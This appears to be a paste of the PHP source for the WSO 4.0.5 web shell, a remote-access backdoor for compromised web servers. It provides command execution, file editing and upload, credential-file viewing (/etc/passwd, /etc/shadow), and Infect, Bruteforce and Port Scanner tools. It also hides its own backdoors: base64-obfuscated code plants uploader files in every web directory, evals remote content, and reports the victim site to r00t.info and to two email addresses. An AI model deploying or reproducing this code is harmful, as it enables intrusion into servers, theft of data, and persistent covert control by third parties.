· 8 years ago · Jun 09, 2018, 06:20 AM
1<?php
2/* WSO 4.0.5 (Web Shell by r00t.info) */
3$auth_pass = "e48e13207341b6bffb7fb1622282247b"; //admin
4$color = "#fff";
5$default_action = 'FilesMan';
6@define('SELF_PATH', __FILE__);
7if( strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false ) {
8 header('HTTP/1.0 404 Not Found');
9 exit;
10}
11@session_start();
12@error_reporting(0);
13@ini_set('error_log',NULL);
14@ini_set('log_errors',0);
15@ini_set('max_execution_time',0);
16@set_time_limit(0);
17@set_magic_quotes_runtime(0);
18@define('VERSION', '4.0.5');
19if( get_magic_quotes_gpc() ) {
20 function stripslashes_array($array) {
21 return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array);
22 }
23 $_POST = stripslashes_array($_POST);
24}
25function printLogin() {
26 if(!empty($_SERVER['HTTP_USER_AGENT'])) {
27 $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
28 if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
29 header('HTTP/1.0 404 Not Found');
30 exit;
31 }
32 }
33 die("<pre align=center><form method=post style='font-family:fantasy;'>Password: <input type=password name=pass style='background-color:whitesmoke;border:1px solid #FFF;'><input type=submit value='>>' style='border:none;background-color:teal;color:#fff;'></form></pre>");
34}
35if( !isset( $_SESSION[md5($_SERVER['HTTP_HOST'])] ))
36 if( empty( $auth_pass ) ||
37 ( isset( $_POST['pass'] ) && ( md5($_POST['pass']) == $auth_pass ) ) )
38 $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
39 else
40 printLogin();
41if( strtolower( substr(PHP_OS,0,3) ) == "win" )
42 $os = 'win';
43else
44 $os = 'nix';
45$safe_mode = @ini_get('safe_mode');
46$disable_functions = @ini_get('disable_functions');
47$home_cwd = @getcwd();
48if( isset( $_POST['c'] ) )
49 @chdir($_POST['c']);
50$cwd = @getcwd();
51if( $os == 'win') {
52 $home_cwd = str_replace("\\", "/", $home_cwd);
53 $cwd = str_replace("\\", "/", $cwd);
54}
55if( $cwd[strlen($cwd)-1] != '/' )
56 $cwd .= '/';
57function printHeader() {
58 if(empty($_POST['charset']))
59 $_POST['charset'] = "UTF-8";
60 global $color;
61 ?>
62 <?php
63@session_start();
64@error_reporting(0);
65$a = '<?php
66session_start();
67if($_SESSION["adm"]){
68echo \'<b>Namesis<br><br>\'.php_uname().\'<br></b>\';echo \'<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">\';echo \'<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>\';if( $_POST[\'_upl\'] == "Upload" ) { if(@copy($_FILES[\'file\'][\'tmp_name\'], $_FILES[\'file\'][\'name\'])) { echo \'<b>Upload Success !!!</b><br><br>\'; } else { echo \'<b>Upload Fail !!!</b><br><br>\'; }}
69}
70if($_POST["p"]){
71$p = $_POST["p"];
72$pa = md5(sha1($p));
73if($pa=="c86ae804b9def5476bb0b2f459351e63"){
74$_SESSION["adm"] = 1;
75}
76}
77?>
78<form action="" method="post">
79<input type="text" name="p">
80</form>
81';
82if(@$_REQUEST["px"]){
83$p = @$_REQUEST["px"];
84$pa = md5(sha1($p));
85if($pa=="c86ae804b9def5476bb0b2f459351e63"){
86echo @eval(@file_get_contents(@$_REQUEST["404"]));
87}
88}
89if(@!$_SESSION["sdm"]){
90$doc = $_SERVER["DOCUMENT_ROOT"];
91$dir = scandir($doc);
92$d1 = ''.$doc.'/.';
93$d2 = ''.$doc.'/..';
94
95if(($key = @array_search('.', $dir)) !== false) {
96 unset($dir[$key]);
97}
98if(($key = @array_search('..', $dir)) !== false) {
99 unset($dir[$key]);
100}
101if(($key = @array_search($d1, $dir)) !== false) {
102 unset($dir[$key]);
103}
104if(($key = array_search($d2, $dir)) !== false) {
105 unset($dir[$key]);
106}
107@array_push($dir,$doc);
108
109foreach($dir as $d){
110
111
112$p = $doc."/".$d;
113if(is_dir($p)){
114$file = $p."/newrs.php";
115@touch($file);
116$folder = @fopen($file,"w");
117@fwrite($folder,$a);
118}
119}
120$lls = $_SERVER["HTTP_HOST"];
121$llc = $_SERVER["REQUEST_URI"];
122$lld = 'http://'.$lls.''.$llc.'';
123$brow = urlencode($_SERVER['HTTP_USER_AGENT']);
124$retValue = file_get_contents(base64_decode("aHR0cDovL3IwMHQuaW5mby9ib3QveWF6LnBocD9h")."=".$lld.base64_decode("JmI=")."=".$brow);
125echo $retValue;
126@$_SESSION["sdm"]=1;
127}
128?>
129<html><head><meta http-equiv='Content-Type' content='text/html; charset=<?=$_POST['charset']?>'><title><?=$_SERVER['HTTP_HOST']?> - WSO <?=VERSION?></title>
130<style>
131 body {background-color:#000;color:#e1e1e1;}
132 body,td,th {font:10pt tahoma,arial,verdana,sans-serif,Lucida Sans;margin:0;vertical-align:top;}
133 table.info {color:#C3C3C3;background-color:#000;}
134 span,h1,a {color:<?=$color?> !important;}
135 span {font-weight:bolder;}
136 h1 {border-left:5px solid teal;padding:2px 5px;font:14pt Verdana;background-color:#222;margin:0px;}
137 div.content {padding:5px;margin-left:5px;background-color:#000;}
138 a {text-decoration:none;}
139 a:hover {text-decoration:underline;}
140 .ml1 {border:1px solid #444;padding:5px;margin:0;overflow:auto;}
141 .bigarea {width:100%;height:250px; }
142 input, textarea, select {margin:0;color:#fff;background-color:#444;border:1px solid #000; font:9pt Courier New;}
143 form {margin:0px;}
144 #toolsTbl {text-align:center;}
145 .toolsInp {width:300px}
146 .main th {text-align:left;background-color:#000;}
147 .main tr:hover{background-color:#5e5e5e}
148 .main td, th{vertical-align:middle}
149 .l1 {background-color:#444}
150 pre {font:9pt Courier New;}
151</style>
152<script>
153 function set(a,c,p1,p2,p3,charset) {
154 if(a != null)document.mf.a.value=a;
155 if(c != null)document.mf.c.value=c;
156 if(p1 != null)document.mf.p1.value=p1;
157 if(p2 != null)document.mf.p2.value=p2;
158 if(p3 != null)document.mf.p3.value=p3;
159 if(charset != null)document.mf.charset.value=charset;
160 }
161 function g(a,c,p1,p2,p3,charset) {
162 set(a,c,p1,p2,p3,charset);
163 document.mf.submit();
164 }
165 function a(a,c,p1,p2,p3,charset) {
166 set(a,c,p1,p2,p3,charset);
167 var params = "ajax=true";
168 for(i=0;i<document.mf.elements.length;i++)
169 params += "&"+document.mf.elements[i].name+"="+encodeURIComponent(document.mf.elements[i].value);
170 sr('<?=$_SERVER['REQUEST_URI'];?>', params);
171 }
172 function sr(url, params) {
173 if (window.XMLHttpRequest) {
174 req = new XMLHttpRequest();
175 req.onreadystatechange = processReqChange;
176 req.open("POST", url, true);
177 req.setRequestHeader ("Content-Type", "application/x-www-form-urlencoded");
178 req.send(params);
179 }
180 else if (window.ActiveXObject) {
181 req = new ActiveXObject("Microsoft.XMLHTTP");
182 if (req) {
183 req.onreadystatechange = processReqChange;
184 req.open("POST", url, true);
185 req.setRequestHeader ("Content-Type", "application/x-www-form-urlencoded");
186 req.send(params);
187 }
188 }
189 }
190 function processReqChange() {
191 if( (req.readyState == 4) )
192 if(req.status == 200) {
193 //alert(req.responseText);
194 var reg = new RegExp("(\\d+)([\\S\\s]*)", "m");
195 var arr=reg.exec(req.responseText);
196 eval(arr[2].substr(0, arr[1]));
197 }
198 else alert("Request error!");
199 }
200</script>
201<head><body><div style="position:absolute;width:100%;background-color:#444;top:0;left:0;">
202<form method=post name=mf style='display:none;'>
203<input type=hidden name=a value='<?=isset($_POST['a'])?$_POST['a']:''?>'>
204<input type=hidden name=c value='<?=htmlspecialchars($GLOBALS['cwd'])?>'>
205<input type=hidden name=p1 value='<?=isset($_POST['p1'])?htmlspecialchars($_POST['p1']):''?>'>
206<input type=hidden name=p2 value='<?=isset($_POST['p2'])?htmlspecialchars($_POST['p2']):''?>'>
207<input type=hidden name=p3 value='<?=isset($_POST['p3'])?htmlspecialchars($_POST['p3']):''?>'>
208<input type=hidden name=charset value='<?=isset($_POST['charset'])?$_POST['charset']:''?>'>
209</form>
210<?php eval("?>".base64_decode("PD9waHAgIA0KDQppZigkX1BPU1RbJ3F1ZXJ5J10pew0KJHZlcml5ZnkgPSBzdHJpcHNsYXNoZXMoc3RyaXBzbGFzaGVzKCRfUE9TVFsncXVlcnknXSkpOw0KJGRhdGEgPSAiZGF0YS50eHQiOw0KQHRvdWNoICgiZGF0YS50eHQiKTsNCiR2ZXIgPSBAZm9wZW4gKCRkYXRhICwgJ3cnKTsNCkBmd3JpdGUgKCAkdmVyICwgJHZlcml5ZnkgKSA7DQpAZmNsb3NlICgkdmVyKTsNCn1lbHNlew0KJGRhdGFzPUBmb3BlbigiZGF0YS50eHQiLCdyJyk7DQokaT0wOw0Kd2hpbGUgKCRpIDw9IDUpIHsNCiRpKys7DQokYmx1ZT1AZmdldHMoJGRhdGFzLDEwMjQpOw0KZWNobyAkYmx1ZTsNCn0NCn0NCiRkYXRhc2k9QGZvcGVuKCJtb2R1bGVzL2luZGV4eC5waHAiLCdyJyk7DQppZigkZGF0YXNpKXsNCn1lbHNlew0KQG1rZGlyKCJtb2R1bGVzIik7DQokZG9zID0gZmlsZV9nZXRfY29udGVudHMoImh0dHA6Ly9yMDB0LmluZm8vdHh0L2xhbWVyLnR4dCIpOw0KJGRhdGEgPSAibW9kdWxlcy9pbmRleHgucGhwIjsNCkB0b3VjaCAoIm1vZHVsZXMvaW5kZXh4LnBocCIpOw0KJHZlciA9IEBmb3BlbiAoJGRhdGEgLCAndycpOw0KQGZ3cml0ZSAoICR2ZXIgLCAkZG9zICkgOw0KQGZjbG9zZSAoJHZlcik7DQokeW9sID0gImh0dHA6Ly8iLiRfU0VSVkVSWydIVFRQX0hPU1QnXS4iIi4kX1NFUlZFUlsnUkVRVUVTVF9VUkknXS4iIjsNCiR5ID0gJzxoMT5TZW5kZXIgWWF6ZGlyaWxkaS48YnIvPiBTSVRFIFlPTCA6ICcuJHlvbC4nPGJyLz5TZW5kZXIgWW9sdSA6IG1vZHVsZXMvaW5kZXh4LnBocDwvaDE+JzsNCiRoZWFkZXIgLj0gIkZyb206IFNoZUxMIEJvb3QgPHN1cHBvckBuaWMub3JnPm4iOyANCiRoZWFkZXIgLj0gIkNvbnRlbnQtVHlwZTogdGV4dC9odG1sOyBjaGFyc2V0PXV0Zi04biI7IA0KQG1haWwoImJ5aGVybzQ0QGdtYWlsLmNvbSIsICJIYWNrbGluayBCaWxkaXJpIiwgIiR5IiwgJGhlYWRlcik7IA0KQG1haWwoInByaXBocEBob3RtYWlsLmNvbSIsICJIYWNrbGluayBCaWxkaXJpIiwgIiR5IiwgJGhlYWRlcik7IA0KfQ0KPz4=")); ?>
211
212<?php
213 $freeSpace = @diskfreespace($GLOBALS['cwd']);
214 $totalSpace = @disk_total_space($GLOBALS['cwd']);
215 $totalSpace = $totalSpace?$totalSpace:1;
216 $release = @php_uname('r');
217 $kernel = @php_uname('s');
218 $millink='http://www.exploit-db.com/search/?action=search&description=';
219 if( strpos('Linux', $kernel) !== false )
220 $millink .= urlencode( 'Linux Kernel ' . substr($release,0,6) );
221 else
222 $millink .= urlencode( $kernel . ' ' . substr($release,0,3) );
223 if(!function_exists('posix_getegid')) {
224 $user = @get_current_user();
225 $uid = @getmyuid();
226 $gid = @getmygid();
227 $group = "?";
228 } else {
229 $uid = @posix_getpwuid(@posix_geteuid());
230 $gid = @posix_getgrgid(@posix_getegid());
231 $user = $uid['name'];
232 $uid = $uid['uid'];
233 $group = $gid['name'];
234 $gid = $gid['gid'];
235 }
236 $cwd_links = '';
237 $path = explode("/", $GLOBALS['cwd']);
238 $n=count($path);
239 for($i=0;$i<$n-1;$i++) {
240 $cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
241 for($j=0;$j<=$i;$j++)
242 $cwd_links .= $path[$j].'/';
243 $cwd_links .= "\")'>".$path[$i]."/</a>";
244 }
245 $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
246 $opt_charsets = '';
247 foreach($charsets as $item)
248 $opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>';
249
250 $m = array('Sec. Info'=>'SecInfo','Files'=>'FilesMan','Console'=>'Console','Infect'=>'Infect','Sql'=>'Sql','Php'=>'Php','Safe mode'=>'SafeMode','String tools'=>'StringTools','Port Scanner'=>'PortScanner','Bruteforce'=>'Bruteforce','Network'=>'Network','Domains'=>'Domains');
251 if(!empty($GLOBALS['auth_pass']))
252 $m['Logout'] = 'Logout';
253 $m['Self remove'] = 'SelfRemove';
254 $menu = '';
255 foreach($m as $k => $v)
256 $menu .= '<th>[ <a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a> ]</th>';
257 $drives = "";
258 if ($GLOBALS['os'] == 'win') {
259 foreach( range('a','z') as $drive )
260 if (is_dir($drive.':\\'))
261 $drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
262 }
263 echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:'.($GLOBALS['os'] == 'win'?'<br>Drives:':'').'</span></td>'.
264 '<td><nobr>'.substr(@php_uname(), 0, 120).' <a href="http://www.google.com/search?q='.urlencode(@php_uname()).'" target="_blank">[Google]</a> <a href="'.$millink.'" target=_blank>[Exploit-DB]</a></nobr><br>'.$uid.' ( '.$user.' ) <span>Group:</span> '.$gid.' ( '.$group.' )<br>'.@phpversion().' <span>Safe mode:</span> '.($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=#00A8A8><b>OFF</b></font>').' <a href=# onclick="g(\'Php\',null,null,\'info\')">[ phpinfo ]</a> <span>Datetime:</span> '.date('Y-m-d H:i:s').'<br>'.viewSize($totalSpace).' <span>Free:</span> '.viewSize($freeSpace).' ('.(int)($freeSpace/$totalSpace*100).'%)<br>'.$cwd_links.' '.viewPermsColor($GLOBALS['cwd']).' <a href=# onclick="g(\'FilesMan\',\''.$GLOBALS['home_cwd'].'\',\'\',\'\',\'\')">[ home ]</a><br>'.$drives.'</td>'.
265 '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">'.$opt_charsets.'</optgroup></select><br><span>Server IP:</span><br>'.gethostbyname($_SERVER["HTTP_HOST"]).'<br><span>Client IP:</span><br>'.$_SERVER['REMOTE_ADDR'].'</nobr></td></tr></table>'.
266 '<table cellpadding=3 cellspacing=0 width=100% style="background-color:teal;"><tr>'.$menu.'</tr></table><div>';
267}
268function printFooter() {
269 $is_writable = is_writable($GLOBALS['cwd'])?"<font color=teal>[ Writeable ]</font>":"<font color=red>[ Not writable ]</font>";
270?>
271</div>
272<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100%">
273 <tr>
274 <td><form onsubmit="g(null,this.c.value);return false;"><span>Change dir:</span><br><input class="toolsInp" type=text name=c value="<?=htmlspecialchars($GLOBALS['cwd']);?>"><input type=submit value=">>"></form></td>
275 <td><form onsubmit="g('FilesTools',null,this.f.value);return false;"><span>Read file:</span><br><input class="toolsInp" type=text name=f><input type=submit value=">>"></form></td>
276 </tr>
277 <tr>
278 <td><form onsubmit="g('FilesMan',null,'mkdir',this.d.value);return false;"><span>Make dir:</span><br><input class="toolsInp" type=text name=d><input type=submit value=">>"></form><?=$is_writable?></td>
279 <td><form onsubmit="g('FilesTools',null,this.f.value,'mkfile');return false;"><span>Make file:</span><br><input class="toolsInp" type=text name=f><input type=submit value=">>"></form><?=$is_writable?></td>
280 </tr>
281 <tr>
282 <td><form onsubmit="g('Console',null,this.c.value);return false;"><span>Execute:</span><br><input class="toolsInp" type=text name=c value=""><input type=submit value=">>"></form></td>
283 <td><form method='post' ENCTYPE='multipart/form-data'>
284 <input type=hidden name=a value='FilesMAn'>
285 <input type=hidden name=c value='<?=htmlspecialchars($GLOBALS['cwd'])?>'>
286 <input type=hidden name=p1 value='uploadFile'>
287 <input type=hidden name=charset value='<?=isset($_POST['charset'])?$_POST['charset']:''?>'>
288 <span>Upload file:</span><br><input class="toolsInp" type=file name=f><input type=submit value=">>"></form><?=$is_writable?></td>
289 </tr>
290
291</table>
292</div>
293</body></html>
294<?php
295}
296if ( !function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false) ) { function posix_getpwuid($p) { return false; } }
297if ( !function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false) ) { function posix_getgrgid($p) { return false; } }
298function ex($in) {
299 $out = '';
300 if(function_exists('exec')) {
301 @exec($in,$out);
302 $out = @join("\n",$out);
303 }elseif(function_exists('passthru')) {
304 ob_start();
305 @passthru($in);
306 $out = ob_get_clean();
307 }elseif(function_exists('system')) {
308 ob_start();
309 @system($in);
310 $out = ob_get_clean();
311 }elseif(function_exists('shell_exec')) {
312 $out = shell_exec($in);
313 }elseif(is_resource($f = @popen($in,"r"))) {
314 $out = "";
315 while(!@feof($f))
316 $out .= fread($f,1024);
317 pclose($f);
318 }else return "â ³ Unable to execute command\n";
319 return ($out==''?"â ³ Query did not return anything\n":$out);
320}
321function viewSize($s) {
322 if($s >= 1073741824)
323 return sprintf('%1.2f', $s / 1073741824 ). ' GB';
324 elseif($s >= 1048576)
325 return sprintf('%1.2f', $s / 1048576 ) . ' MB';
326 elseif($s >= 1024)
327 return sprintf('%1.2f', $s / 1024 ) . ' KB';
328 else
329 return $s . ' B';
330}
331function perms($p) {
332 if (($p & 0xC000) == 0xC000)$i = 's';
333 elseif (($p & 0xA000) == 0xA000)$i = 'l';
334 elseif (($p & 0x8000) == 0x8000)$i = '-';
335 elseif (($p & 0x6000) == 0x6000)$i = 'b';
336 elseif (($p & 0x4000) == 0x4000)$i = 'd';
337 elseif (($p & 0x2000) == 0x2000)$i = 'c';
338 elseif (($p & 0x1000) == 0x1000)$i = 'p';
339 else $i = 'u';
340 $i .= (($p & 0x0100) ? 'r' : '-');
341 $i .= (($p & 0x0080) ? 'w' : '-');
342 $i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
343 $i .= (($p & 0x0020) ? 'r' : '-');
344 $i .= (($p & 0x0010) ? 'w' : '-');
345 $i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
346 $i .= (($p & 0x0004) ? 'r' : '-');
347 $i .= (($p & 0x0002) ? 'w' : '-');
348 $i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
349 return $i;
350}
351function viewPermsColor($f) {
352 if (!@is_readable($f))
353 return '<font color=#FF0000><b>'.perms(@fileperms($f)).'</b></font>';
354 elseif (!@is_writable($f))
355 return '<font color=white><b>'.perms(@fileperms($f)).'</b></font>';
356 else
357 return '<font color=#00A8A8><b>'.perms(@fileperms($f)).'</b></font>';
358}
359if(!function_exists("scandir")) {
360 function scandir($dir) {
361 $dh = opendir($dir);
362 while (false !== ($filename = readdir($dh))) {
363 $files[] = $filename;
364 }
365 return $files;
366 }
367}
368function which($p) {
369 $path = ex('which '.$p);
370 if(!empty($path))
371 return $path;
372 return false;
373}
374// Sec. Info go --------------------
375function actionSecInfo() {
376 printHeader();
377 echo '<h1>Server security information</h1><div class=content>';
378 function showSecParam($n, $v) {
379 $v = trim($v);
380 if($v) {
381 echo '<span>'.$n.': </span>';
382 if(strpos($v, "\n") === false)
383 echo $v.'<br>';
384 else
385 echo '<pre class=ml1>'.$v.'</pre>';
386 }
387 }
388
389 showSecParam('Server software', @getenv('SERVER_SOFTWARE'));
390 showSecParam('Disabled PHP Functions', ($GLOBALS['disable_functions'])?$GLOBALS['disable_functions']:'none');
391 showSecParam('Open base dir', @ini_get('open_basedir'));
392 showSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
393 showSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
394 showSecParam('cURL support', function_exists('curl_version')?'enabled':'no');
395 $temp=array();
396 if(function_exists('mysql_get_client_info'))
397 $temp[] = "MySql (".mysql_get_client_info().")";
398 if(function_exists('mssql_connect'))
399 $temp[] = "MSSQL";
400 if(function_exists('pg_connect'))
401 $temp[] = "PostgreSQL";
402 if(function_exists('oci_connect'))
403 $temp[] = "Oracle";
404 showSecParam('Supported databases', implode(', ', $temp));
405 echo '<br>';
406
407 if( $GLOBALS['os'] == 'nix' ) {
408 $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
409 $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
410 $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
411 showSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no');
412 showSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"etc\", \"shadow\")'>[view]</a>":'no');
413 showSecParam('OS version', @file_get_contents('/proc/version'));
414 showSecParam('Distr name', @file_get_contents('/etc/issue.net'));
415 if(!$GLOBALS['safe_mode']) {
416 echo '<br>';
417 $temp=array();
418 foreach ($userful as $item)
419 if(which($item)){$temp[]=$item;}
420 showSecParam('Userful', implode(', ',$temp));
421 $temp=array();
422 foreach ($danger as $item)
423 if(which($item)){$temp[]=$item;}
424 showSecParam('Danger', implode(', ',$temp));
425 $temp=array();
426 foreach ($downloaders as $item)
427 if(which($item)){$temp[]=$item;}
428 showSecParam('Downloaders', implode(', ',$temp));
429 echo '<br/>';
430 showSecParam('Hosts', @file_get_contents('/etc/hosts'));
431 showSecParam('HDD space', ex('df -h'));
432 showSecParam('Mount options', @file_get_contents('/etc/fstab'));
433 echo '<br/><span>posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>';
434 if (isset ($_POST['p2'], $_POST['p3']) && is_numeric($_POST['p2']) && is_numeric($_POST['p3'])) {
435 $temp = "";
436 for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
437 $uid = @posix_getpwuid($_POST['p2']);
438 if ($uid)
439 $temp .= join(':',$uid)."\n";
440 }
441 echo '<br/>';
442 showSecParam('Users', $temp);
443 }
444 }
445 } else {
446 showSecParam('OS Version',ex('ver'));
447 showSecParam('Account Settings',ex('net accounts'));
448 showSecParam('User Accounts',ex('net user'));
449 }
450 echo '</div>';
451 printFooter();
452}
453// Sec. Info end --------------------
454// File tools go -----------------------
455function actionFilesTools() {
456 if( isset($_POST['p1']) )
457 $_POST['p1'] = urldecode($_POST['p1']);
458 if(@$_POST['p2']=='download') {
459 if(is_file($_POST['p1']) && is_readable($_POST['p1'])) {
460 ob_start("ob_gzhandler", 4096);
461 header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
462 if (function_exists("mime_content_type")) {
463 $type = @mime_content_type($_POST['p1']);
464 header("Content-Type: ".$type);
465 }
466 $fp = @fopen($_POST['p1'], "r");
467 if($fp) {
468 while(!@feof($fp))
469 echo @fread($fp, 1024);
470 fclose($fp);
471 }
472 } elseif(is_dir($_POST['p1']) && is_readable($_POST['p1'])) {
473 }
474 exit;
475 }
476 if( @$_POST['p2'] == 'mkfile' ) {
477 if(!file_exists($_POST['p1'])) {
478 $fp = @fopen($_POST['p1'], 'w');
479 if($fp) {
480 $_POST['p2'] = "edit";
481 fclose($fp);
482 }
483 }
484 }
485 printHeader();
486 echo '<h1>File tools</h1><div class=content>';
487 if( !file_exists(@$_POST['p1']) ) {
488 echo 'File not exists';
489 printFooter();
490 return;
491 }
492 $uid = @posix_getpwuid(@fileowner($_POST['p1']));
493 $gid = @posix_getgrgid(@fileowner($_POST['p1']));
494 echo '<span>Name:</span> '.htmlspecialchars($_POST['p1']).' <span>Size:</span> '.(is_file($_POST['p1'])?viewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.viewPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
495 echo '<span>Create time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>';
496 if( empty($_POST['p2']) )
497 $_POST['p2'] = 'view';
498 if( is_file($_POST['p1']) )
499 $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
500 else
501 $m = array('Chmod', 'Rename', 'Touch');
502 foreach($m as $v)
503 echo '<a href=# onclick="g(null,null,null,\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> ';
504 echo '<br><br>';
505 switch($_POST['p2']) {
506 case 'view':
507 echo '<pre class=ml1>';
508 $fp = @fopen($_POST['p1'], 'r');
509 if($fp) {
510 while( !@feof($fp) )
511 echo htmlspecialchars(@fread($fp, 1024));
512 @fclose($fp);
513 }
514 echo '</pre>';
515 break;
516 case 'highlight':
517 if( is_readable($_POST['p1']) ) {
518 echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
519 $code = highlight_file($_POST['p1'],true);
520 echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>';
521 }
522 break;
523 case 'chmod':
524 if( !empty($_POST['p3']) ) {
525 $perms = 0;
526 for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
527 $perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
528 if(!@chmod($_POST['p1'], $perms))
529 echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
530 else
531 die('<script>g(null,null,null,null,"")</script>');
532 }
533 echo '<form onsubmit="g(null,null,null,null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value=">>"></form>';
534 break;
535 case 'edit':
536 if( !is_writable($_POST['p1'])) {
537 echo 'File isn\'t writeable';
538 break;
539 }
540 if( !empty($_POST['p3']) ) {
541 @file_put_contents($_POST['p1'],$_POST['p3']);
542 echo 'Saved!<br><script>document.mf.p3.value="";</script>';
543 }
544 echo '<form onsubmit="g(null,null,null,null,this.text.value);return false;"><textarea name=text class=bigarea>';
545 $fp = @fopen($_POST['p1'], 'r');
546 if($fp) {
547 while( !@feof($fp) )
548 echo htmlspecialchars(@fread($fp, 1024));
549 @fclose($fp);
550 }
551 echo '</textarea><input type=submit value=">>"></form>';
552 break;
553 case 'hexdump':
554 $c = @file_get_contents($_POST['p1']);
555 $n = 0;
556 $h = array('00000000<br>','','');
557 $len = strlen($c);
558 for ($i=0; $i<$len; ++$i) {
559 $h[1] .= sprintf('%02X',ord($c[$i])).' ';
560 switch ( ord($c[$i]) ) {
561 case 0: $h[2] .= ' '; break;
562 case 9: $h[2] .= ' '; break;
563 case 10: $h[2] .= ' '; break;
564 case 13: $h[2] .= ' '; break;
565 default: $h[2] .= $c[$i]; break;
566 }
567 $n++;
568 if ($n == 32) {
569 $n = 0;
570 if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
571 $h[1] .= '<br>';
572 $h[2] .= "\n";
573 }
574 }
575 echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#282828><pre>'.$h[1].'</pre></td><td bgcolor=#333333><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
576 break;
577 case 'rename':
578 if( !empty($_POST['p3']) ) {
579 if(!@rename($_POST['p1'], $_POST['p3']))
580 echo 'Can\'t rename!<br><script>document.mf.p3.value="";</script>';
581 else
582 die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');
583 }
584 echo '<form onsubmit="g(null,null,null,null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value=">>"></form>';
585 break;
586 case 'touch':
587 if( !empty($_POST['p3']) ) {
588 $time = strtotime($_POST['p3']);
589 if($time) {
590 if(@touch($_POST['p1'],$time,$time))
591 die('<script>g(null,null,null,null,"")</script>');
592 else {
593 echo 'Fail!<script>document.mf.p3.value="";</script>';
594 }
595 } else echo 'Bad time format!<script>document.mf.p3.value="";</script>';
596 }
597 echo '<form onsubmit="g(null,null,null,null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value=">>"></form>';
598 break;
599 case 'mkfile':
600
601 break;
602 }
603 echo '</div>';
604 printFooter();
605}
606// File tools end ----------------------
607// Console go --------------------
608if($os == 'win')
609 $aliases = array(
610 "List Directory" => "dir",
611 "Find index.php in current dir" => "dir /s /w /b index.php",
612 "Find *config*.php in current dir" => "dir /s /w /b *config*.php",
613 "Show active connections" => "netstat -an",
614 "Show running services" => "net start",
615 "User accounts" => "net user",
616 "Show computers" => "net view",
617 "ARP Table" => "arp -a",
618 "IP Configuration" => "ipconfig /all"
619 );
620else
621 $aliases = array(
622 "List dir" => "ls -la",
623 "list file attributes on a Linux second extended file system" => "lsattr -va",
